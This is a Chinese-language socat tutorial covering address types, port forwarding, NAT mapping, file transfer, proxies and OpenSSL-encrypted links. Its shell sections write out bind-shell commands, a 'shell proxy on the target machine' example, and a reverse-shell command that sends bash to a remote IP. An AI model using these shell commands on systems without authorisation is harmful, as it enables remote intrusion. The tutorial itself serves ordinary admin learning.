      pty       groups=FD,NAMED,TERMIOS,PTY
      sctp-connect:<host>:<port>        groups=FD,SOCKET,CHILD,RETRY,IP4,IP6,SCTP
      sctp-listen:<port>        groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP4,IP6,SCTP
      sctp4-connect:<host>:<port>       groups=FD,SOCKET,CHILD,RETRY,IP4,SCTP
      sctp4-listen:<port>       groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP4,SCTP
      sctp6-connect:<host>:<port>       groups=FD,SOCKET,CHILD,RETRY,IP6,SCTP
      sctp6-listen:<port>       groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP6,SCTP
      socket-connect:<domain>:<protocol>:<remote-address>       groups=FD,SOCKET,CHILD,RETRY
      socket-datagram:<domain>:<type>:<protocol>:<remote-address>       groups=FD,SOCKET,RANGE
      socket-listen:<domain>:<protocol>:<local-address> groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE
      socket-recv:<domain>:<type>:<protocol>:<local-address>    groups=FD,SOCKET,RANGE
      socket-recvfrom:<domain>:<type>:<protocol>:<local-address>        groups=FD,SOCKET,CHILD,RANGE
      socket-sendto:<domain>:<type>:<protocol>:<remote-address> groups=FD,SOCKET
      socks4:<socks-server>:<host>:<port>       groups=FD,SOCKET,CHILD,RETRY,IP4,IP6,TCP,SOCKS4
      socks4a:<socks-server>:<host>:<port>      groups=FD,SOCKET,CHILD,RETRY,IP4,IP6,TCP,SOCKS4
      stderr    groups=FD,FIFO,CHR,BLK,REG,SOCKET,TERMIOS,UNIX,IP4,IP6,UDP,TCP,SCTP
      stdin     groups=FD,FIFO,CHR,BLK,REG,SOCKET,TERMIOS,UNIX,IP4,IP6,UDP,TCP,SCTP
      stdio     groups=FD,FIFO,CHR,BLK,REG,SOCKET,TERMIOS,UNIX,IP4,IP6,UDP,TCP,SCTP
      stdout    groups=FD,FIFO,CHR,BLK,REG,SOCKET,TERMIOS,UNIX,IP4,IP6,UDP,TCP,SCTP
      system:<shell-command>    groups=FD,FIFO,SOCKET,EXEC,FORK,TERMIOS,PTY,PARENT,UNIX
      tcp-connect:<host>:<port> groups=FD,SOCKET,CHILD,RETRY,IP4,IP6,TCP
      tcp-listen:<port> groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP4,IP6,TCP
      tcp4-connect:<host>:<port>        groups=FD,SOCKET,CHILD,RETRY,IP4,TCP
      tcp4-listen:<port>        groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP4,TCP
      tcp6-connect:<host>:<port>        groups=FD,SOCKET,CHILD,RETRY,IP6,TCP
      tcp6-listen:<port>        groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP6,TCP
      tun[:<ip-addr>/<bits>]    groups=FD,CHR,NAMED,OPEN,INTERFACE
      udp-connect:<host>:<port> groups=FD,SOCKET,IP4,IP6,UDP
      udp-datagram:<host>:<port>        groups=FD,SOCKET,RANGE,IP4,IP6,UDP
      udp-listen:<port> groups=FD,SOCKET,LISTEN,CHILD,RANGE,IP4,IP6,UDP
      udp-recv:<port>   groups=FD,SOCKET,RANGE,IP4,IP6,UDP
      udp-recvfrom:<port>       groups=FD,SOCKET,CHILD,RANGE,IP4,IP6,UDP
      udp-sendto:<host>:<port>  groups=FD,SOCKET,IP4,IP6,UDP
      udp4-connect:<host>:<port>        groups=FD,SOCKET,IP4,UDP
      udp4-datagram:<host>:<port>       groups=FD,SOCKET,RANGE,IP4,UDP
      udp4-listen:<port>        groups=FD,SOCKET,LISTEN,CHILD,RANGE,IP4,UDP
      udp4-recv:<port>  groups=FD,SOCKET,RANGE,IP4,UDP
      udp4-recvfrom:<port>      groups=FD,SOCKET,CHILD,RANGE,IP4,UDP
      udp4-sendto:<host>:<port> groups=FD,SOCKET,IP4,UDP
      udp6-connect:<host>:<port>        groups=FD,SOCKET,IP6,UDP
      udp6-datagram:<host>:<port>       groups=FD,SOCKET,RANGE,IP6,UDP
      udp6-listen:<port>        groups=FD,SOCKET,LISTEN,CHILD,RANGE,IP6,UDP
      udp6-recv:<port>  groups=FD,SOCKET,RANGE,IP6,UDP
      udp6-recvfrom:<port>      groups=FD,SOCKET,CHILD,RANGE,IP6,UDP
      udp6-sendto:<host>:<port> groups=FD,SOCKET,IP6,UDP
      unix-client:<filename>    groups=FD,SOCKET,NAMED,RETRY,UNIX
      unix-connect:<filename>   groups=FD,SOCKET,NAMED,RETRY,UNIX
      unix-listen:<filename>    groups=FD,SOCKET,NAMED,LISTEN,CHILD,RETRY,UNIX
      unix-recv:<filename>      groups=FD,SOCKET,NAMED,RETRY,UNIX
      unix-recvfrom:<filename>  groups=FD,SOCKET,NAMED,CHILD,RETRY,UNIX
      unix-sendto:<filename>    groups=FD,SOCKET,NAMED,RETRY,UNIX
      vsock-connect:<cid>:<port>        groups=FD,SOCKET,CHILD,RETRY
      vsock-listen:<port>       groups=FD,SOCKET,LISTEN,CHILD,RETRY

address 有一下几种形式:

  • - STDIN STDOUT :表示标准输入输出,可以就用一个横杠代替

  • /var/log/syslog : 也可以是任意路径,如果是相对路径要使用./,打开一个文件作为数据流。

  • TCP:127.0.0.1:1080 : 建立一个TCP连接作为数据流,TCP也可以替换为UDP

  • TCP-LISTEN:12345 : 建立TCP监听端口,TCP也可以替换为UDP

  • EXEC:/bin/bash : 执行一个程序作为数据流。


socat 的使用


场景一:本地有个文件,想要显示在终端中
    socat - /etc/sysctl.conf

场景二:有个TCP连接会连上来,想看下会获得什么数据。
    socat TCP-LISTEN:12345 -

场景三:在目标机上弄一个shell代理
    socat TCP-LISTEN:12345 EXEC:/bin/bash

场景四:本地 UNIX DOMAIN 域套接字,转成 TCP SOCKET 供局域网内的机器使用
    // 当有多个tcp连上来时,可以使用 fork 一个去连域套接字
    socat TCP-LISTEN:12345,reuseaddr,fork UNIX-CONNECT:/data/deCOREIDPS/unix.domain    
场景五
    将本地的80端口转到远程去
    socat TCP-LISTEN:80,fork TCP:www.baidu.com:80


网络测试

这个类似 nc 的连通性测试,两台主机到底网络能否联通:

socat - TCP-LISTEN:8080               # 终端1 上启动 server 监听 TCP
socat - TCP:localhost:8080            # 终端2 上启动 client 链接 TCP

在终端 1 上输入第一行命令作为服务端,并在终端 2 上输入第二行命令作为客户端去链接。

联通后在终端2上随便输入点什么,就能显示在终端1上,反之亦然,因为两条命令都是把标准输入输出和网络串起来,因此把两个地址交换一下也是等价的:

socat TCP-LISTEN:8080 -               # 终端1 上启动 server 监听 TCP
socat TCP:localhost:8080 -            # 终端2 上启动 client 链接 TCP

因为 socat 就是把左右两个地址的输入输出接在一起,因此颠倒左右两个地址影响不大,除非前面指明 -u 或者 -U 显示指明数据 "从左到右" 还是 "从右到左" 。

同 netcat 一样,如果客户端结束的话,服务端也会结束,但是 socat 还可以加额外参数:

socat - TCP-LISTEN:8080,fork,reuseaddr      # 终端1 上启动 server
socat - TCP:localhost:8080                  # 终端2 上启动 client

服务端在 TCP-LISTEN 地址后面加了 fork 的参数后,就能同时应答多个链接过来的客户端,每个客户端会 fork 一个进程出来进行通信,加上 reuseaddr 可以防止链接没断开玩无法监听的问题。

刚才也说了使用 socat 主要就是学习描述各种地址,那么想测试 UDP 的话修改一下就行:

socat - UDP-LISTEN:8080               # 终端1 上启动 server 监听 UDP
socat - UDP:localhost:8080            # 终端2 上启动 client 链接 UDP


网络管理

连接远程端口:socat - TCP:192.168.1.252:3306
监听一个新端口:socat TCP-LISTEN:7000 -


端口转发

在主机上监听一个 8080 端口,将 8080 端口所有流量转发给远程机器的 80 端口:

socat TCP-LISTEN:8080,fork,reuseaddr  TCP:192.168.1.3:80

那么连到这台机器上 8080 端口的所有链接,相当于链接了 192.168.1.3 这台机器的 80 端口,命令中交换左右两个地址一样是等价的。

这里 socat 比 nc 强的地方就体现出来了,nc 做转发时只能转发 1 次,第一条链接 accept 并且关闭以后 nc 就退出了,无法接受新链接,因此 nc 只适合单次使用。而 socat 加上 fork 以后,每次 accept 一个链接都会 fork 出一份来不影响接收其他的新连接,这样 socat 就可以当一个端口转发服务,一直启动在那里。还可以用 supervisor 托管起来,开机自动启动。

还可以用这个功能暴露一些 127.0.0.1 的端口出来供外面访问,比起 nc 的临时救急使用一下的场景,socat 是可以当一个服务长期运行的。


场景 2:在实际生产中我们经常会遇到到一个场景就是,用一台机器作为转发服务器,连接 AB 两个网段,将转发服务器的某个端口上的流量转发到 B 网段的某台机器的某个端口,这样 A 网段的服务器就可以通过访问转发服务器上的端口访问到 B 网段的服务器端口。

这样的场景一般在和客户建立专线的连接时候经常用到,一般也可以采用 iptables 做转发,但是比较复杂。Socat 可以很轻松的完成这个功能,但是 Socat 不支持端口段转发,只适用于单端口或者少量端口。

转发 TCP。监听 192.168.1.252 网卡的 15672 端口,并将请求转发至 172.17.0.15 的 15672 端口。命令:socat -d -d -lf /var/log/socat.log TCP4-LISTEN:15672,bind=192.168.1.252,reuseaddr,fork TCP4:172.17.0.15:15672

参数说明:

  • 1. -d -d 前面两个连续的 -d -d 代表调试信息的输出级别。

  • 2. -lf /var/log/socat.log 指定输出信息的文件保存位置。

  • 3. TCP4-LISTEN:15672 在本地建立一个 TCP IPv4 协议的监听端口,也就是转发端口。这里是 15672,请根据实际情况改成你自己需要转发的端口。

  • 4. bind 指定监听绑定的 IP 地址,不绑定的话将监听服务器上可用的全部 IP。

  • 5. reuseaddr 绑定一个本地端口。

  • 6. fork TCP4:172.17.0.15:15672 指的是要转发到的服务器 IP 和端口,这里是 172.17.0.15 的 15672 端口。

转发 UDP。转发 UDP 和 TCP 类似,只要把 TCP4 改成 UDP4 就行了。

命令:socat -d -d -lf /var/log/socat.log UDP4-LISTEN:123,bind=192.168.1.252,reuseaddr,fork UDP4:172.17.0.15:123

NAT 映射。在一个 NAT 网络环境中,也是可以通过 Socat 将内部机器端口映射到公网上的。

在外部公网机器上执行命令:socat tcp-listen:1234 tcp-listen:3389
在内部私网机器上执行命令:socat tcp:outerhost:1234 tcp:192.168.1.34:3389
这样,你外部机器上的 3389 就映射在内网 192.168.1.34 的 3389 端口上了。

不过这样场景下更推荐内网穿透神器 FRP


fork 服务

多进程。示例命令:socat TCP-LISTEN:1234,reuseaddr,fork EXEC:./helloworld
不同设备的通信


将 U 盘进行网络共享

示例命令:$ socat -d -d /dev/ttyUSB1,raw,nonblock,ignoreeof,cr,echo=0 TCP4-LISTEN:5555,reuseaddr


将终端转发到串口

示例命令:socat READLINE,/dev/ttyS0,raw,echo=0,crnl


让 Socat 后台运行

默认情况下 Socat 只在前台运行,如果要让 Socat 一直在后台运行,可以使用 nohup 命令来保证其在后台一直运行。

示例命令:nohup socat -d -d -lf /var/log/socat.log TCP4-LISTEN:15672,bind=192.168.1.252,reuseaddr,fork TCP4:172.17.0.15:15672 &    

除了 nohup 外,Linux 下让进程在后台运行的方法还很多,比如:screen、tmux 等。在 Linux 中一切都是文件,无论是 Socket 还是其他设备。所以从理论上来说,一切能够在文件层级访问的内容都可以成为 Socat 的数据流的来源。


正向 shell、反向 shell

正向 Shell
    1. 服务端
        # 在服务端 7005 端口建立一个 Shell。
        $ socat TCP-LISTEN:7005,fork,reuseaddr EXEC:/bin/bash,pty,stderr
        或者
        $ socat TCP-LISTEN:7005,fork,reuseaddr system:bash,pty,stderr    
    2. 客户端
        # 连接到服务器的 7005 端口,即可获得一个 Shell。readline 是 GNU 的命令行编辑器,具有历史功能。
        $ socat readline tcp:127.0.0.1:7005


   

反弹 Shell。当有主机连接服务端的 7005 端口时,将会发送客户端的 Shell 给服务端。
    1. 服务端
        $ socat -,raw,echo=0 tcp-listen:7005
    2. 客户端
        $ socat tcp-connect:192.168.1.252:7005 exec:'bash -li',pty,stderr,setsid,sigint,sane

示例:使用 反向shell 实现 远程登录

使用 参数 "EXEC 可以执行程序" 并且把输入输出和另外一个地址串起来,比如服务端:

socat TCP-LISTEN:8080,fork,reuseaddr  EXEC:/usr/bin/bash    # 服务端提供 shell
socat - TCP:localhost:8080                                  # 客户端登录

完善一点可以加些参数:

socat TCP-LISTEN:8080,fork,reuseaddr  EXEC:/usr/bin/bash,pty,stderr   # 服务端
socat file:`tty`,raw,echo=0 TCP:localhost:8080                        # 客户端

这样可以把 bash 的标准错误重定向给标准输出,并且用终端模式运行。客户端可以像刚才那样登录,但是还可以更高级点,用 tty 的方式访问,这样基本就得到了一个全功能的交互式终端了,可以在里面运行 vim, emacs 之类的程序。

更高级一点,使用 root 运行:

socat TCP-LISTEN:23,reuseaddr,fork,crlf exec:/bin/login,pty,setsid,setpgid,stderr,ctty

相当于在 23 端口启动了一个 telnetd 的服务,可以用 telnet 客户端来链接。


网页服务

首先编写一个脚本 web.sh

#! /bin/bash
echo -e -n "HTTP/1.0 200\r\n"
echo -e -n "Content-Type:text/html\r\n"
echo -e -n "\r\n"

echo "<html><body>"
echo "now is $(date)"
echo "</body></html>"


这里我们用 SYSTEM 地址类型代替原来的 EXEC 执行命令,因为可以后面写 shell 命令:

socat TCP-LISTEN:8080,fork,reuseaddr SYSTEM:"bash web.sh"

这时你就可以用浏览器访问:http://localhost:8080 的端口了:

相当于每次请求的时候,socat 都会 fork 一个进程出来然后执行后面的命令,启动上面的脚本程序,并且将脚本的标准输入输出重定向给网络链接。

相当于原始的 cgi 程序了,我们可以用 shell 直接完成一个 cgi 程序并由 socat 提供 cgi 服务,偶然需要暴露一些服务器信息的话,可以这样弄一下,返回的 html 里搞一个自动刷新,然后打开浏览器,实时监控服务器的情况。


文件传输

临时需要传输下文件,无需 scp:

socat -u TCP-LISTEN:8080 open:record.log,create    # 服务端接收文件
socat -u open:record.log TCP:localhost:8080        # 客户端发送文件

这里用了 -u 参数,意思是数据从左边的地址单向传输到右边的地址,大写 -U 的话是从右边单向传输到左边。


将文件 demo.tar.gz 使用 2000 端口从 192.168.1.252 传到 192.168.1.253,文件传输完毕后会自动退出。

在 192.168.1.252 上执行:socat -u open:demo.tar.gz tcp-listen:2000,reuseaddr
在 192.168.1.253 上执行:socat -u tcp:192.168.1.252:2000 open:demo.tar.gz,create
-u 表示数据传输模式为单向,从左面参数到右面参数。
-U 表示数据传输模式为单向,从右面参数到左面参数。


读写分流功能

Socat 具有一个独特的读写分流功能,比如:可以实现一个假的 Web Server,客户端连过来之后就把 read.html 里面的内容传过去,同时把客户端的数据保存到 write.txt 里面。

命令:socat open:read.html\!\!open:write.txt,create,append tcp-listen:8000,reuseaddr,fork
!! 符号用于合并读写流,前面的用于读,后面的用于写。由于 ! 在 Shell 中是特殊字符,所以这里在命令行中使用 \ 对其进行了转义。


透明代理

第一句是用于 socks 代理的,第二句用于 HTTP 代理:

socat TCP-LISTEN:<本地端口>,reuseaddr,fork SOCKS:<代理服务器IP>:<远程地址>:<远程端口>,socksport=<代理服务器端口>
socat TCP-LISTEN:<本地端口>,reuseaddr,fork PROXY:<代理服务器IP>:<远程地址>:<远程端口>,proxyport=<代理服务器端口>

他们都可以把本地端口的请求转换成使用代理服务器访问的请求,比如:

socat TCP-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678

那么链接本地的 1234 端口,相当于通过代理服务器 127.0.0.1:5678 去链接 google.com 的 80 端口了,这里用了 SOCKS4A ,后面 A 的意思是让代理服务器去解析域名。


通过 Openssl 来加密传输过程

假设有一个服务器主机,地址为 server.domain.org。 并且服务端程序使用 4433 端口。为了尽可能的简单,我们使用一个非常简单的服务功能,即服务端仅回显数据(echo),客户端只进行标准输入(stdio)。要进行 Openssl 加密数据传输,首先需要生成 Openssl 证书。

1. 生成服务端的证书

# 为服务端的证书取一个基本的名字。
$ FILENAME=server
# 生成公钥私钥对。
$ openssl genrsa -out $FILENAME.key 1024
# 生成一个自签名的证书,会提示你输入国家代号、姓名等,或者按下回车键跳过输入提示。
$ openssl req -new -key $FILENAME.key -x509 -days 3653 -out $FILENAME.crt
# 用刚生成的密钥文件和证书文件来生成PEM文件。
$ cat $FILENAME.key $FILENAME.crt >$FILENAME.pem

服务端证书生成完成后,复制信任证书 server.crt 到 SSL 客户端所在的主机上。

2. 生成客户端证书

# 为客户端证书取一个不同的文件名
$ FILENAME=client

重复上述服务端生成证书的流程。然后复制 client.pem 到 SSL 客户端主机,复制 client.crt 到服务端主机。至此完成了证书交换,服务端有 server.pem、client.crt 两个文件,客户端有 client.pem 、server.crt 两个文件。

其次我们需要建立 Openssl 服务端,在服务端我们不再用 tcp-listen (tcp-l) ,而用 openssl-listen (ssl-l) 。cert 参数告诉 Socat 包含证书和私钥的文件,cafile 参数指向客户端的证书文件。如果客户端能提供相关联的私钥,我们则认为该连接是可靠的。

$ socat openssl-listen:4433,reuseaddr,cert=server.pem,cafile=client.crt echo

运行这个命令后,Socat 会在 4433 端口监听,并要求客户端进行身份验证。

最后在客户端建立一个加密的链接,用 openssl-connect 或者 ssl 替换你的 tcp-connect 或 tcp 地址关键字,然后添加 cert 和 cafile 选项。

$ socat stdio openssl-connect:server.domain.org:4433,cert=client.pem,cafile=server.crt
test
test

这个命令用来建立一个到服务程序的安全的连接。如果服务端和客户端成功建立连接后,会回显在客户端输入的内容。


来自  https://www.cnblogs.com/csnd/p/16465140.html



普通分类: